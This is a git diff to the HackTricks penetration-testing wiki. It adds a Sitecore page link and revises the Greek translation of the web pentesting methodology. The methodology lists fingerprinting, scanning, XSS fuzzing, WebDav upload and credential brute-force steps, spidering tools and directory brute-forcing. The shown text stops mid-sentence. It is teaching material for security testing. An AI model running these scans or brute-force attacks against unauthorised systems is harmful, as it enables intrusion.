diff --git a/src/SUMMARY.md b/src/SUMMARY.md index dab618a10..793c88a81 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -447,6 +447,7 @@ - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md) + - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md) - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md) - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) @@ -929,4 +930,3 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 299b3a9d5..e9f868041 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Pentesting Web Μεθοδολογία +# 80,443 - Μεθοδολογία Pentesting Web {{#include ../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες -Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτενής υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**. +Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**. -**Default port:** 80 (HTTP), 443(HTTPS) +**Προεπιλεγμένες θύρες:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Κατευθύνσεις για Web API +### Οδηγίες για Web API {{#ref}} @@ -26,29 +26,29 @@ web-api-pentesting.md ## Περίληψη μεθοδολογίας -> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείς σε ένα domain (ή subdomain) και μόνο αυτό. Συνεπώς, πρέπει να εφαρμόσεις αυτή τη μεθοδολογία για κάθε εντοπισμένο domain, subdomain ή IP με αδιευκρίνιστο web server εντός του πεδίου. +> Σε αυτή τη μεθοδολογία υποθέτουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Συνεπώς, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με αδιευκρίνιστο web server εντός του scope. -- [ ] Ξεκίνα με το **να αναγνωρίσεις** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξε για **tricks** που αξίζει να θυμάσαι κατά την υπόλοιπη διάρκεια του τεστ αν μπορέσεις να αναγνωρίσεις την τεχνολογία. +- [ ] Ξεκινήστε με το **να εντοπίσετε** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξτε για **κόλπα** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου τεστ εάν καταφέρετε να αναγνωρίσετε την τεχνολογία. - [ ] Υπάρχει κάποια **γνωστή ευπάθεια** στην έκδοση της τεχνολογίας; -- [ ] Χρησιμοποιεί κάποιο **well known tech**; Κάποιο **useful trick** για να εξάγεις περισσότερες πληροφορίες; -- [ ] Κάποιος **specialised scanner** που πρέπει να τρέξεις (π.χ. wpscan); -- [ ] Εκτέλεσε **general purposes scanners**. Ποτέ δεν ξέρεις αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες. -- [ ] Ξεκίνα με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν είναι HTTPS). -- [ ] Ξεκίνα **spidering** της σελίδας: Είναι ώρα να **βρεις** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, έλεγξε για **special findings**. -- [ ] _Σημείωση ότι κάθε φορά που ενός νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να spidered._ -- [ ] **Directory Brute-Forcing**: Προσπάθησε να brute force όλους τους εντοπισμένους φακέλους αναζητώντας νέα **files** και **directories**. -- [ ] _Σημείωση ότι κάθε φορά που ένας νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να Brute-Forced._ -- [ ] **Backups checking**: Δοκίμασε αν μπορείς να βρεις **backups** των **discovered files** προσθέτοντας κοινές επεκτάσεις backup. -- [ ] **Brute-Force parameters**: Προσπάθησε να **βρείς hidden parameters**. -- [ ] Μόλις έχεις **αναγνωρίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, έλεγξε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά. -- [ ] [Ακολούθησε αυτό το checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; +- [ ] Κάποιο **specialised scanner** για να τρέξετε (π.χ. wpscan); +- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία. +- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν HTTPS). +- [ ] Ξεκινήστε **spidering** της web σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φάκελοι** και **παράμετροι που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**. +- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει spidering._ +- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους ψάχνοντας για νέα **αρχεία** και **καταλόγους**. +- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει Brute-Forced._ +- [ ] **Backups checking**: Δοκιμάστε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις backup. +- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**. +- [ ] Μόλις έχετε **εντοπίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** σχετικές με αυτά. +- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Έκδοση Server (Vulnerable?) -### Identify +### Αναγνώριση -Έλεγξε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\ -Τα **HTTP headers and cookies of the response** μπορεί να είναι πολύ χρήσιμα για να **αναγνωρίσεις** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Το **Nmap scan** μπορεί να εντοπίσει την έκδοση του server, αλλά χρήσιμα μπορεί να είναι και τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ή [**https://builtwith.com/**](https://builtwith.com)**:** +Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\ +Τα **HTTP headers και cookies της απόκρισης** μπορεί να είναι πολύ χρήσιμα για να **εντοπίσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά επίσης μπορεί να φανούν χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com) **:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2 ``` Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Έλεγχος για WAF** +### **Ελέγξτε αν υπάρχει WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +### Τεχνικά κόλπα Web -Μερικά κόλπα για την ανεύρεση ευπαθειών σε διάφορες γνωστές τεχνολογίες που χρησιμοποιούνται: +Μερικά **κόλπα** για το **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -100,29 +100,30 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) +- [**Sitecore**](sitecore/index.html) -_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικά **ports**, **folders** και **subdomains**._\ -Αν η web εφαρμογή χρησιμοποιεί κάποια από τις γνωστές τεχνολογίες/πλατφόρμες που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να αναζητήσετε στο Internet νέα κόλπα (και ενημερώστε με!). +_Λάβετε υπόψη ότι ο **ίδιος domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **υποτομείς**._\ +Αν η **εφαρμογή web** χρησιμοποιεί κάποια από τις γνωστές **tech/platform listed before** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!). -### Source Code Review +### Ανασκόπηση Κώδικα Πηγής -Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να εκτελέσετε εσείς έναν White box test της εφαρμογής, υπάρχει κάποια **πληροφορία** που μπορεί να είναι **χρήσιμη** για το τρέχον **Black-Box testing**: +Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να πραγματοποιήσετε μόνοι σας ένα **White box test** της εφαρμογής, υπάρχει κάποια **πληροφορία** που θα μπορούσε να είναι **χρήσιμη** για το τρέχον **Black-Box testing**: -- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web? -- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)? -- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used? -- Is it using any **master key** for encrypting something? Which **algorithm** is used? -- Can you **access any of these files** exploiting some vulnerability? -- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)? +- Υπάρχει κάποιο αρχείο **Change-log ή Readme ή Version** ή οτιδήποτε με **πληροφορίες έκδοσης** προσβάσιμες μέσω web; +- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords); +- Είναι οι **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται; +- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάτι; Ποιος **algorithm** χρησιμοποιείται; +- Μπορείτε να **αποκτήσετε πρόσβαση σε κάποιο από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια; +- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε κάποιο παλιό commit)? {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### Αυτόματοι σαρωτές -#### Αυτόματοι σαρωτές γενικού σκοπού +#### Αυτόματοι σαρωτές γενικής χρήσης ```bash nikto -h whatweb -a 4 @@ -134,12 +135,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS scanners +#### Σαρωτές CMS -Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν scanner**, ίσως βρεθεί κάτι ενδιαφέρον: +Εάν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για ζητήματα ασφάλειας. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +150,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (εφόσον υπάρχουν δεδομένα) και μερικά κόλπα να θυμάστε κατά τη διάρκεια του test. Αν έχετε τύχη ίσως έχετε βρει ακόμη ένα CMS και έχετε τρέξει κάποιο scanner. +> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που να έχετε στο μυαλό σας κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner. ## Βήμα-βήμα Ανακάλυψη Web Εφαρμογής -> Από εδώ και πέρα θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή. +> Από αυτό το σημείο θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή. ### Αρχικοί έλεγχοι -**Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:** +**Προεπιλεγμένες σελίδες με χρήσιμες πληροφορίες:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες. +- Έλεγχος επίσης για σχόλια στις κύριες και δευτερεύουσες σελίδες. **Πρόκληση σφαλμάτων** -Οι web servers μπορεί να **συμπεριφερθούν απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να προκαλέσει την αποκάλυψη ευαίσθητων πληροφοριών. +Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να οδηγήσει σε **αποκάλυψη ευαίσθητων πληροφοριών**. -- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.etc) -- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα -- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL** -- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE +- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) +- **Add "\[]", "]]", and "\[["** σε **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα +- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** +- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE -#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε επαρκή δικαιώματα για να ανεβάσετε αρχεία στον root φάκελο, δοκιμάστε να: +Αν διαπιστώσετε ότι το **WebDav** είναι **enabled** αλλά δεν έχετε επαρκή permissions για **uploading files** στον root φάκελο δοκιμάστε: - **Brute Force** credentials -- Ανεβάστε αρχεία μέσω WebDav στους υπόλοιπους φακέλους που βρέθηκαν μέσα στη σελίδα. Μπορεί να έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους. +- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. Ίσως έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους. -### **SSL/TLS ευπάθειες** +### **SSL/TLS vulnerabilites** -- Αν η εφαρμογή **δεν επιβάλει τη χρήση HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM** -- Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (passwords) μέσω HTTP**. Τότε είναι υψηλή ευπάθεια. +- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κάποιο σημείο, τότε είναι **vulnerable to MitM** +- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP** τότε είναι υψηλή ευπάθεια. -Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **vulnerabilities** (σε Bug Bounty programs πιθανότατα αυτού του είδους οι vulnerabilities δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **ευπάθειες** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για επανέλεγχο των ευπαθειών: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,53 +204,53 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσες περισσότερες διαδρομές γίνεται** από την εφαρμογή που δοκιμάζεται. Συνεπώς, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να εντοπιστούν όσο το δυνατόν περισσότερες έγκυρες διαδρομές. +Εκκινήστε κάποιο είδος **spider** μέσα στον ιστό. Στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, πρέπει να χρησιμοποιηθεί web crawling και εξωτερικές πηγές για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS αρχεία και Archive.org ως εξωτερική πηγή. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, επίσης δείχνει "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Επίσης ψάχνει στο Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Αρκεί να υποδείξεις ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται να μην συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται. -- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς providers (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα απαριθμήσει. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητήσουν νέες διαδρομές σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για εξαγωγή endpoints τόσο από HTML source όσο και από embedded javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να πάρει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs χρησιμοποιώντας έξυπνα regular expressions για να βρει και να εξάγει relative URLs από μινιμαλιστικά (minify) αρχεία. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας διάφορα εργαλεία. -- [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει JS αρχεία. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φόρτωσε η σελίδα. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery εργαλείο που συνδυάζει επιλογές από προηγούμενα εργαλεία. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρείτε paths και params σε JS αρχεία. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα σας επιστρέψει τον beautified JS κώδικα. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν δεδομένο στόχο. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από τη wayback machine (επίσης κατεβάζει τις απαντήσεις από τη wayback και ψάχνει για περισσότερα links). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και γεμίζοντας forms) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προχωρημένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες της κυβερνοασφάλειας. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα Go package και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι ένα απλό **Burp Suite extension** για **εξαγωγή των parameters και endpoints** από τα request ώστε να δημιουργηθούν custom wordlist για fuzzing και enumeration. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, δείχνει επίσης "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Ψάχνει επίσης στο Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να φανεί χρήσιμο. Μπορείτε απλά να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες render JS. Φαίνεται όμως ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται. +- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameters και θα τα απαριθμήσει. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες render JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανό να ψάχνει νέα paths σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά σε [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από ενσωματωμένα javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να αναλύει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες regular expressions για να βρει και να εξάγει relative URLs από minified αρχεία. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας πολλά εργαλεία. +- [**subjs**](https://github.com/lc/subjs) (go): Εντοπίζει JS αρχεία. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φορτώθηκαν για να φορτωθεί η σελίδα. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει επιλογές από τα προηγούμενα εργαλεία. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει paths και params σε JS αρχεία. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα πάρει τον beautified JS κώδικα. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν στόχο. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (κατεβάζοντας επίσης τις απαντήσεις από το wayback και ψάχνοντας για περισσότερα links). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες ασφάλειας. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Πακέτο Go και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι μια απλή **Burp Suite extension** για **εξαγωγή των paramters και endpoints** από τα requests για δημιουργία custom wordlist για fuzzing και enumeration. - [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο για αυτό. - [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε link που μπορεί να βρει. ### Brute Force directories and files -Ξεκινήστε το **brute-forcing** από το root folder και βεβαιωθείτε ότι θα brute-force **όλες** τις **directories που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλες τις directories **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή του χρησιμοποιούμενου wordlist τα ονόματα των βρεθέντων directories).\ -Tools: +Ξεκινήστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **καταλόγους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή της 